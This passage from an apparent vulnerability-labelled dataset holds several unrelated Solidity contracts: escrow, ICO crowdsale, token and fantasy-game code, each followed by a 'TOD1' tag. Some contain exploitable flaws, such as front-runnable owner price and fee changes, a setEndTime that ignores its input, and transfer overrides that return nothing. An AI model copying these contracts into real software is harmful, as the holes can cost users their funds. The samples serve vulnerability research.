/ 1000), teamReleaseTime3); uint256 teamReleaseTime4 = teamReleaseTime3 + (91.25 * 24 * 60 * 60); // 91.25 days from last release teamTimelock4 = mintTimeLockedTokens(teamWallet, (tokensForTeam * 125 / 1000), teamReleaseTime4); uint256 teamReleaseTime5 = teamReleaseTime4 + (91.25 * 24 * 60 * 60); // 91.25 days from last release teamTimelock5 = mintTimeLockedTokens(teamWallet, (tokensForTeam * 125 / 1000), teamReleaseTime5); uint256 teamReleaseTime6 = teamReleaseTime5 + (91.25 * 24 * 60 * 60); // 91.25 days from last release teamTimelock6 = mintTimeLockedTokens(teamWallet, (tokensForTeam * 125 / 1000), teamReleaseTime6); uint256 teamReleaseTime7 = teamReleaseTime6 + (91.25 * 24 * 60 * 60); // 91.25 days from last release teamTimelock7 = mintTimeLockedTokens(teamWallet, (tokensForTeam * 125 / 1000), teamReleaseTime7); // mint advisor tokens in 3 months uint256 advisorReleaseTime = now + (91.25 * 24 * 60 * 60); // 91.25 days from now advisorTimelock = mintTimeLockedTokens(advisorsWallet, tokensForAdvisors, advisorReleaseTime); MintableToken _mintableToken = MintableToken(token); _mintableToken.finishMinting(); _mintableToken.transferOwnership(wallet); } super.finalization(); } function mintTimeLockedTokens(address _to, uint256 _amount, uint256 _releaseTime) private returns (TokenTimelock) { TokenTimelock timelock = new TokenTimelock(token, _to, _releaseTime); MintableToken(address(token)).mint(timelock, _amount); return timelock; } }
TOD1
pragma solidity ^0.4.25; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /* event OwnershipRenounced(address indexed previousOwner); */ event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ /* function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } */ /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract EternalStorage is Ownable { struct Storage { mapping(uint256 => uint256) _uint; mapping(uint256 => address) _address; mapping(address => uint256) _allowed; } Storage internal s; constructor(uint _rF, address _r, address _f, address _a, address _t, uint _sF) public { setAddress(0, _a); setAddress(1, _r); setUint(1, _rF); setAddress(2, _f); setUint(2, _sF); setAddress(3, _t); } modifier onlyAllowed() { require(msg.sender == owner || s._allowed[msg.sender] == uint256(1)); _; } function identify(address _address) external onlyOwner { s._allowed[_address] = uint256(1); } function revoke(address _address) external onlyOwner { s._allowed[_address] = uint256(0); } /** * @dev Allows the current owner to transfer control of the contract to a * newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { Ownable.transferOwnership(newOwner); } /** * @dev Allows the owner to set a value for an unsigned integer variable. * @param i Unsigned integer variable key * @param v The value to be stored */ function setUint(uint256 i, uint256 v) public onlyOwner { s._uint[i] = v; } /** * @dev Allows the owner to set a value for a address variable. * @param i Unsigned integer variable key * @param v The value to be stored */ function setAddress(uint256 i, address v) public onlyOwner { s._address[i] = v; } /** * @dev Get the value stored of a uint variable by the hash name * @param i Unsigned integer variable key */ function getUint(uint256 i) external view onlyAllowed returns (uint256) { return s._uint[i]; } /** * @dev Get the value stored of a address variable by the hash name * @param i Unsigned integer variable key */ function getAddress(uint256 i) external view onlyAllowed returns (address) { return s._address[i]; } function getAllowedStatus(address a) external view onlyAllowed returns (uint) { return s._allowed[a]; } function selfDestruct () external onlyOwner { selfdestruct(owner); } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function allowance(address _owner, address _spender) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Escrow is Ownable { enum transactionStatus { Default, Pending, PendingR1, PendingR2, Completed, Canceled} struct Transaction { transactionStatus status; uint baseAmt; uint txnAmt; uint sellerFee; uint buyerFee; uint buyerBalance; address buyer; uint token; } mapping(address => Transaction) transactions; mapping(address => uint) balance; ERC20 base; ERC20 token; EternalStorage eternal; uint rF; address r; address reserve; constructor(ERC20 _base, address _s) public { base = _base; eternal = EternalStorage(_s); } modifier onlyAllowed() { require(msg.sender == owner || msg.sender == eternal.getAddress(0)); _; } function userRecover(address _origin, address _destination, uint _baseAmt) external { transactions[_origin] = Transaction( transactionStatus.PendingR1, _baseAmt, 0, eternal.getUint(2), 0, 0, _destination, 0); Transaction storage transaction = transactions[_origin]; base.transferFrom(_origin, owner, transaction.sellerFee); base.transferFrom(_origin, reserve, rF); uint destinationAmt = _baseAmt - (transaction.sellerFee + rF); base.transferFrom(_origin, _destination, destinationAmt); recovery(_origin); } function createTransaction ( address _tag, uint _baseAmt, uint _txnAmt, uint _sellerFee, uint _buyerFee) external payable { Transaction storage transaction = transactions[_tag]; require(transaction.buyer == 0x0); transactions[_tag] = Transaction( transactionStatus.Pending, _baseAmt, _txnAmt, _sellerFee, _buyerFee, 0, msg.sender, 0); uint buyerTotal = _txnAmt + _buyerFee; require(transaction.buyerBalance + msg.value == buyerTotal); transaction.buyerBalance += msg.value; balance[msg.sender] += msg.value; } function createTokenTransaction ( address _tag, uint _baseAmt, uint _txnAmt, uint _sellerFee, uint _buyerFee, address _buyer, uint _token) external onlyAllowed { require(_token != 0); require(eternal.getAddress(_token) != 0x0); Transaction storage transaction = transactions[_tag]; require(transaction.buyer == 0x0); transactions[_tag] = Transaction( transactionStatus.Pending, _baseAmt, _txnAmt, _sellerFee, _buyerFee, 0, _buyer, _token); uint buyerTotal = _txnAmt + _buyerFee; token = ERC20(eternal.getAddress(_token)); token.transferFrom(_buyer, address(this), buyerTotal); transaction.buyerBalance += buyerTotal; } function release(address _tag) external onlyAllowed { releaseFunds(_tag); } function releaseFunds (address _tag) private { Transaction storage transaction = transactions[_tag]; require(transaction.status == transactionStatus.Pending); uint buyerTotal = transaction.txnAmt + transaction.buyerFee; uint buyerBalance = transaction.buyerBalance; transaction.buyerBalance = 0; require(buyerTotal == buyerBalance); base.transferFrom(_tag, transaction.buyer, transaction.baseAmt); uint totalFees = transaction.buyerFee + transaction.sellerFee; uint sellerTotal = transaction.txnAmt - transaction.sellerFee; transaction.txnAmt = 0; transaction.sellerFee = 0; if (transaction.token == 0) { _tag.transfer(sellerTotal); owner.transfer(totalFees); } else { token = ERC20(eternal.getAddress(transaction.token)); token.transfer(_tag, sellerTotal); token.transfer(owner, totalFees); } transaction.status = transactionStatus.PendingR1; recovery(_tag); } function recovery(address _tag) private { r1(_tag); r2(_tag); } function r1 (address _tag) private { Transaction storage transaction = transactions[_tag]; require(transaction.status == transactionStatus.PendingR1); transaction.status = transactionStatus.PendingR2; base.transferFrom(reserve, _tag, rF); } function r2 (address _tag) private { Transaction storage transaction = transactions[_tag]; require(transaction.status == transactionStatus.PendingR2); transaction.buyer = 0x0; transaction.status = transactionStatus.Completed; base.transferFrom(_tag, r, rF); } function cancel (address _tag) external onlyAllowed { Transaction storage transaction = transactions[_tag]; if (transaction.token == 0) { cancelTransaction(_tag); } else { cancelTokenTransaction(_tag); } } function cancelTransaction (address _tag) private { Transaction storage transaction = transactions[_tag]; require(transaction.status == transactionStatus.Pending); uint refund = transaction.buyerBalance; transaction.buyerBalance = 0; address buyer = transaction.buyer; transaction.buyer = 0x0; buyer.transfer(refund); transaction.status = transactionStatus.Canceled; } function cancelTokenTransaction (address _tag) private { Transaction storage transaction = transactions[_tag]; require(transaction.status == transactionStatus.Pending); token = ERC20(eternal.getAddress(transaction.token)); uint refund = transaction.buyerBalance; transaction.buyerBalance = 0; address buyer = transaction.buyer; transaction.buyer = 0x0; token.transfer(buyer, refund); transaction.status = transactionStatus.Canceled; } function resync () external onlyOwner { rF = eternal.getUint(1); r = eternal.getAddress(1); reserve = eternal.getAddress(2); } function Eternal (address _s) external onlyOwner { eternal = EternalStorage(_s); } function selfDestruct () external onlyOwner { selfdestruct(owner); } function status (address _tag) external view onlyOwner returns ( transactionStatus _status, uint _baseAmt, uint _txnAmt, uint _sellerFee, uint _buyerFee, uint _buyerBalance, address _buyer, uint _token) { Transaction storage transaction = transactions[_tag]; return ( transaction.status, transaction.baseAmt, transaction.txnAmt, transaction.sellerFee, transaction.buyerFee, transaction.buyerBalance, transaction.buyer, transaction.token ); } function variables () external view onlyAllowed returns ( address, address, address, uint) { address p = eternal.getAddress(0); return (p, r, reserve, rF); } }
TOD1
/************************************************************************* * This contract has been merged with solidify * https://github.com/tiesnetwork/solidify *************************************************************************/ pragma solidity ^0.4.18; /************************************************************************* * import "zeppelin-solidity/contracts/math/SafeMath.sol" : start *************************************************************************/ /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /************************************************************************* * import "zeppelin-solidity/contracts/math/SafeMath.sol" : end *************************************************************************/ /************************************************************************* * import "zeppelin-solidity/contracts/token/MintableToken.sol" : start *************************************************************************/ /************************************************************************* * import "./StandardToken.sol" : start *************************************************************************/ /************************************************************************* * import "./BasicToken.sol" : start *************************************************************************/ /************************************************************************* * import "./ERC20Basic.sol" : start *************************************************************************/ /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /************************************************************************* * import "./ERC20Basic.sol" : end *************************************************************************/ /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /************************************************************************* * import "./BasicToken.sol" : end *************************************************************************/ /************************************************************************* * import "./ERC20.sol" : start *************************************************************************/ /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /************************************************************************* * import "./ERC20.sol" : end *************************************************************************/ /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /************************************************************************* * import "./StandardToken.sol" : end *************************************************************************/ /************************************************************************* * import "../ownership/Ownable.sol" : start *************************************************************************/ /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /************************************************************************* * import "../ownership/Ownable.sol" : end *************************************************************************/ /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } /************************************************************************* * import "zeppelin-solidity/contracts/token/MintableToken.sol" : end *************************************************************************/ contract SuperMegaTestToken is MintableToken { /* Token constants */ string public name = "SPDToken"; string public symbol = "SPD"; uint public decimals = 6; /* Blocks token transfers until ICO is finished.*/ bool public tokensBlocked = true; // list of addresses with time-freezend tokens mapping (address => uint) public teamTokensFreeze; event debugLog(string key, uint value); /* Allow token transfer.*/ function unblock() external onlyOwner { tokensBlocked = false; } /* Override some function to add support of blocking .*/ function transfer(address _to, uint256 _value) public returns (bool) { require(!tokensBlocked); require(allowTokenOperations(_to)); require(allowTokenOperations(msg.sender)); super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(!tokensBlocked); require(allowTokenOperations(_from)); require(allowTokenOperations(_to)); super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public returns (bool) { require(!tokensBlocked); require(allowTokenOperations(_spender)); super.approve(_spender, _value); } // Hold team/founders tokens for defined time function freezeTokens(address _holder, uint time) public onlyOwner { require(_holder != 0x0); teamTokensFreeze[_holder] = time; } function allowTokenOperations(address _holder) public constant returns (bool) { return teamTokensFreeze[_holder] == 0 || now >= teamTokensFreeze[_holder]; } } contract SuperMegaIco { using SafeMath for uint; //========== // Variables //========== //States enum IcoState {Running, Paused, Failed, Finished} // ico successed bool public isSuccess = false; // contract hardcoded owner address public owner = 0x956A9C8879109dFd9B0024634e52a305D8150Cc4; // Start time uint public constant startTime = 1513766000; // End time uint public endTime = startTime + 30 days; // decimals multiplier for calculation & debug uint public constant multiplier = 1000000; // minimal amount of tokens for sale uint private constant minTokens = 50; // one million uint public constant mln = 1000000; // ICO max tokens for sale uint public constant tokensCap = 99 * mln * multiplier; //ICO success uint public constant minSuccess = 17 * mln * multiplier; // Amount of sold tokens uint public totalSupply = 0; // Amount of tokens w/o bonus uint public tokensSoldTotal = 0; // State of ICO - default Running IcoState public icoState = IcoState.Running; // @dev for debug uint private constant rateDivider = 1; // initial price in wei uint public priceInWei = 3046900000 / rateDivider; // robot address address public _robot;// = 0x00a329c0648769A73afAc7F9381E08FB43dBEA72; // // if ICO not finished - we must send all old contract eth to new bool public tokensAreFrozen = true; // The token being sold SuperMegaTestToken public token; // Structure for holding bonuses and tokens for btc investors // We can now deprecate rate/bonus_tokens/value without bitcoin holding mechanism - we don't need it struct TokensHolder { uint value; //amount of wei uint tokens; //amount of tokens uint bonus; //amount of bonus tokens uint total; //total tokens uint rate; //conversion rate for hold moment uint change; //unused wei amount if tx reaches cap } //wei amount mapping (address => uint) public investors; struct teamTokens { address holder; uint freezePeriod; uint percent; uint divider; uint maxTokens; } teamTokens[] public listTeamTokens; // Bonus params uint[] public bonusPatterns = [80, 60, 40, 20]; uint[] public bonusLimit = [5 * mln * multiplier, 10 * mln * multiplier, 15 * mln * multiplier, 20 * mln * multiplier]; // flag to prevent team tokens regen with external call bool public teamTokensGenerated = false; //========= //Modifiers //========= // Active ICO modifier ICOActive { require(icoState == IcoState.Running); require(now >= (startTime)); require(now <= (endTime)); _; } // Finished ICO modifier ICOFinished { require(icoState == IcoState.Finished); _; } // Failed ICO - time is over modifier ICOFailed { require(now >= (endTime)); require(icoState == IcoState.Failed || !isSuccess); _; } // Allows some methods to be used by team or robot modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyTeam() { require(msg.sender == owner || msg.sender == _robot); _; } modifier successICOState() { require(isSuccess); _; } //======= // Events //======= event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint value, uint amount); event RunIco(); event PauseIco(); event SuccessIco(); event FinishIco(); event ICOFails(); event updateRate(uint time, uint rate); event debugLog(string key, uint value); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); //======== // Methods //======== // Constructor function SuperMegaIco() public { token = new SuperMegaTestToken(); if (owner == 0x0) {//owner not set in contract owner = msg.sender; } //uint freezePeriod; //uint percent; //uint divider; // // Company tokens 10%, blocked for 182 days listTeamTokens.push(teamTokens(0xf06ec7eB54298faBB2a90B87204E457c78e2e497, 182 days, 10, 1, 0)); // Company tokens 10%, blocked for 1 year listTeamTokens.push(teamTokens(0xF12Cf87978BbCF865B97bD877418397c34bEbAC2, 1 years, 10, 1, 0)); // Team tokens 6.667% listTeamTokens.push(teamTokens(0xC01C37c39E073b148100A34368EE6fA4b23D1B58, 0, 3, 1, 0)); listTeamTokens.push(teamTokens(0xc02c3399ACa202B56c3930CA51d3Ac2303751cD9, 0, 15, 10, 0)); listTeamTokens.push(teamTokens(0xc03d1Be0eaAa2801a88DAcEa173B7c0b1EFd012C, 0, 21667, 10000, 357500 * multiplier)); // Team tokens 6.667%, blocked for 1 year listTeamTokens.push(teamTokens(0xC11FCcFf8aae8004A18C89c30135136E1825A3aB, 1 years, 3, 1, 0)); listTeamTokens.push(teamTokens(0xC12cE69513b6dBbde644553C1d206d4371134C55, 1 years, 15, 10, 0)); listTeamTokens.push(teamTokens(0xc13CC448F0DA5251FBE3ffD94421525A1413c673, 1 years, 21667, 100000, 357500 * multiplier)); // Team tokes 6.667%, blocked for 2 years listTeamTokens.push(teamTokens(0xC21BEe33eBc58AE55B898Fe1d723A8F1A8C89248, 2 years, 3, 1, 0)); listTeamTokens.push(teamTokens(0xC22AC37471E270aD7026558D4756F2e1A70E1042, 2 years, 15, 10, 0)); listTeamTokens.push(teamTokens(0xC23ddd9AeD2d0bFae8006dd68D0dfE1ce04A89D1, 2 years, 21667, 100000, 357500 * multiplier)); } // fallback function can be used to buy tokens function() public payable ICOActive { require(!isReachedLimit()); TokensHolder memory tokens = calculateTokens(msg.value); require(tokens.total > 0); token.mint(msg.sender, tokens.total); TokenPurchase(msg.sender, msg.sender, tokens.value, tokens.total); if (tokens.change > 0 && tokens.change <= msg.value) { msg.sender.transfer(tokens.change); } investors[msg.sender] = investors[msg.sender].add(tokens.value); addToStat(tokens.tokens, tokens.bonus); manageStatus(); } function hasStarted() public constant returns (bool) { return now >= startTime; } function hasFinished() public constant returns (bool) { return now >= endTime || isReachedLimit(); } // Calculates amount of bonus tokens function getBonus(uint _value, uint _sold) internal constant returns (TokensHolder) { TokensHolder memory result; uint _bonus = 0; result.tokens = _value; //debugLog('get bonus start - sold', _sold); //debugLog('get bonus start - value', _value); for (uint8 i = 0; _value > 0 && i < bonusLimit.length; ++i) { uint current_bonus_part = 0; if (_value > 0 && _sold < bonusLimit[i]) { uint bonus_left = bonusLimit[i] - _sold; //debugLog('start bonus', i); //debugLog('left for ', bonus_left); uint _bonusedPart = min(_value, bonus_left); //debugLog('bonused part for ', _bonusedPart); current_bonus_part = current_bonus_part.add(percent(_bonusedPart, bonusPatterns[i])); _value = _value.sub(_bonusedPart); _sold = _sold.add(_bonusedPart); //debugLog('sold after ', _sold); } if (current_bonus_part > 0) { _bonus = _bonus.add(current_bonus_part); } //debugLog('current_bonus_part ', current_bonus_part); } result.bonus = _bonus; //debugLog('======================================================', 1); return result; } // Are we reached tokens limit? function isReachedLimit() internal constant returns (bool) { return tokensCap.sub(totalSupply) == 0; } function manageStatus() internal { debugLog('after purchase ', totalSupply); if (totalSupply >= minSuccess && !isSuccess) { debugLog('set success state ', 1); successICO(); } bool capIsReached = (totalSupply == tokensCap); if (capIsReached || (now >= endTime)) { if (!isSuccess) { failICO(); } else { autoFinishICO(); } } } function calculateForValue(uint value) public constant returns (uint, uint, uint) { TokensHolder memory tokens = calculateTokens(value); return (tokens.total, tokens.tokens, tokens.bonus); } function calculateTokens(uint value) internal constant returns (TokensHolder) { require(value > 0); require(priceInWei * minTokens <= value); uint tokens = value.div(priceInWei); require(tokens > 0); uint remain = tokensCap.sub(totalSupply); uint change = 0; uint value_clear = 0; if (remain <= tokens) { tokens = remain; change = value.sub(tokens.mul(priceInWei)); value_clear = value.sub(change); } else { value_clear = value; } TokensHolder memory bonus = getBonus(tokens, tokensSoldTotal); uint total = tokens + bonus.bonus; bonus.tokens = tokens; bonus.total = total; bonus.change = change; bonus.rate = priceInWei; bonus.value = value_clear; return bonus; } // Add tokens&bonus amount to counters function addToStat(uint tokens, uint bonus) internal { uint total = tokens + bonus; totalSupply = totalSupply.add(total); //tokensBought = tokensBought.add(tokens.div(multiplier)); //tokensBonus = tokensBonus.add(bonus.div(multiplier)); tokensSoldTotal = tokensSoldTotal.add(tokens); } // manual start ico after pause function startIco() external onlyOwner { require(icoState == IcoState.Paused); icoState = IcoState.Running; RunIco(); } // manual pause ico function pauseIco() external onlyOwner { require(icoState == IcoState.Running); icoState = IcoState.Paused; PauseIco(); } // auto success ico - cat withdraw ether now function successICO() internal { isSuccess = true; SuccessIco(); } function autoFinishICO() internal { bool capIsReached = (totalSupply == tokensCap); if (capIsReached && now < endTime) { endTime = now; } icoState = IcoState.Finished; tokensAreFrozen = false; // maybe this must be called as external one-time call token.unblock(); } function failICO() internal { icoState = IcoState.Failed; ICOFails(); } function refund() public ICOFailed { require(msg.sender != 0x0); require(investors[msg.sender] > 0); uint refundVal = investors[msg.sender]; investors[msg.sender] = 0; uint balance = token.balanceOf(msg.sender); totalSupply = totalSupply.sub(balance); msg.sender.transfer(refundVal); } // Withdraw allowed only on success function withdraw(uint value) external onlyOwner successICOState { owner.transfer(value); } // Generates team tokens after ICO finished function generateTeamTokens() internal ICOFinished { require(!teamTokensGenerated); teamTokensGenerated = true; uint totalSupplyTokens = totalSupply; debugLog('totalSupplyTokens', totalSupplyTokens); totalSupplyTokens = totalSupplyTokens.mul(100); debugLog('totalSupplyTokens div 60', totalSupplyTokens); totalSupplyTokens = totalSupplyTokens.div(60); debugLog('totalSupplyTokens mul 100', totalSupplyTokens); for (uint8 i = 0; i < listTeamTokens.length; ++i) { uint teamTokensPart = percent(totalSupplyTokens, listTeamTokens[i].percent); if (listTeamTokens[i].divider != 0) { teamTokensPart = teamTokensPart.div(listTeamTokens[i].divider); } if (listTeamTokens[i].maxTokens != 0 && listTeamTokens[i].maxTokens < teamTokensPart) { teamTokensPart = listTeamTokens[i].maxTokens; } token.mint(listTeamTokens[i].holder, teamTokensPart); debugLog('teamTokensPart index ', i); debugLog('teamTokensPart value ', teamTokensPart); debugLog('teamTokensPart max is ', listTeamTokens[i].maxTokens); if(listTeamTokens[i].freezePeriod != 0) { debugLog('freeze add ', listTeamTokens[i].freezePeriod); debugLog('freeze now + add ', now + listTeamTokens[i].freezePeriod); token.freezeTokens(listTeamTokens[i].holder, endTime + listTeamTokens[i].freezePeriod); } addToStat(teamTokensPart, 0); } } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } //========================== // Methods for bots requests //========================== // set/update robot address function setRobot(address robot) public onlyOwner { require(robot != 0x0); _robot = robot; } // update token price in wei function setRate(uint newRate) public onlyTeam { require(newRate > 0); //todo min rate check! 0 - for debug priceInWei = newRate; updateRate(now, newRate); } // mb deprecated function robotRefund(address investor) public onlyTeam ICOFailed { require(investor != 0x0); require(investors[investor] > 0); uint refundVal = investors[investor]; investors[investor] = 0; uint balance = token.balanceOf(investor); totalSupply = totalSupply.sub(balance); investor.transfer(refundVal); } function autoFinishTime() public onlyTeam { require(hasFinished()); manageStatus(); generateTeamTokens(); } //dev method for debugging function setEndTime(uint time) public onlyTeam { require(time > 0 && time > now); endTime = now; } // // function getBonusPercent() public constant returns (uint) { // for (uint8 i = 0; i < bonusLimit.length; ++i) { // if(totalSupply < bonusLimit[i]) { // return bonusPatterns[i]; // } // } // return 0; // } //======== // Helpers //======== // calculation of min value function min(uint a, uint b) internal pure returns (uint) { return a < b ? a : b; } function percent(uint value, uint bonus) internal pure returns (uint) { return (value * bonus).div(100); } /** * @dev Transfers the current balance to the owner and terminates the contract. */ function destroy() onlyOwner public { selfdestruct(owner); } }
TOD1
pragma solidity ^0.4.17; contract Blockgame { uint public ENTRY_FEE = 0.075 ether; uint public POINTS_TO_SPEND = 150; uint public TEAMS_PER_ENTRY = 6; uint public MAX_ENTRIES = 200; address public owner; uint[6] public payoutPercentages; uint public debt; uint[] public allTeamsCosts; uint[] public allTeamsScores; DailyGame[] public allTimeGames; mapping(uint => bool) public gamesList; mapping(uint => DailyGame) public gameRecords; // uint == dateOfGame mapping(address => uint) public availableWinnings; event NewEntry(address indexed player, uint[] selectedTeams); struct Entry { uint timestamp; uint[] teamsSelected; address player; uint entryIndex; } // Pre and post summary struct DailyGame { uint numPlayers; uint pool; uint date; uint closedTime; uint[] playerScores; // A uint[] topPlayersScores; // B uint[] winnerAmounts; // C address[] players; // A uint[] topPlayersIndices; // B address[] topPlayersAddresses; // B address[] winnerAddresses; // C Entry[] entries; } constructor(){ owner = msg.sender; payoutPercentages[0] = 0; payoutPercentages[1] = 50; payoutPercentages[2] = 16; payoutPercentages[3] = 12; payoutPercentages[4] = 8; payoutPercentages[5] = 4; } //UTILITIES function() external payable { } modifier onlyOwner { require(msg.sender == owner); _; } function changeEntryFee(uint _value) onlyOwner { ENTRY_FEE = _value; } function changeMaxEntries(uint _value) onlyOwner { MAX_ENTRIES = _value; } //submit alphabetically function changeTeamCosts(uint[] _costs) onlyOwner { allTeamsCosts = _costs; } function changeAvailableSpend(uint _value) onlyOwner { POINTS_TO_SPEND = _value; } // _closedTime == Unix timestamp function createGame(uint _gameDate, uint _closedTime) onlyOwner { gamesList[_gameDate] = true; gameRecords[_gameDate].closedTime = _closedTime; } function withdraw(uint amount) onlyOwner returns(bool) { require(amount <= (address(this).balance - debt)); owner.transfer(amount); return true; } function selfDestruct() onlyOwner { selfdestruct(owner); } // SUBMITTING AN ENTRY // Verify that game exists modifier gameOpen(uint _gameDate) { require(gamesList[_gameDate] == true); _; } // Verify that teams selection is within cost modifier withinCost(uint[] teamIndices) { require(teamIndices.length == 6); uint sum = 0; for(uint i = 0;i < 6; i++){ uint cost = allTeamsCosts[teamIndices[i]]; sum += cost; } require(sum <= POINTS_TO_SPEND); _; } // Verify that constest hasn't closed modifier beforeCutoff(uint _date) { require(gameRecords[_date].closedTime > currentTime()); _; } function 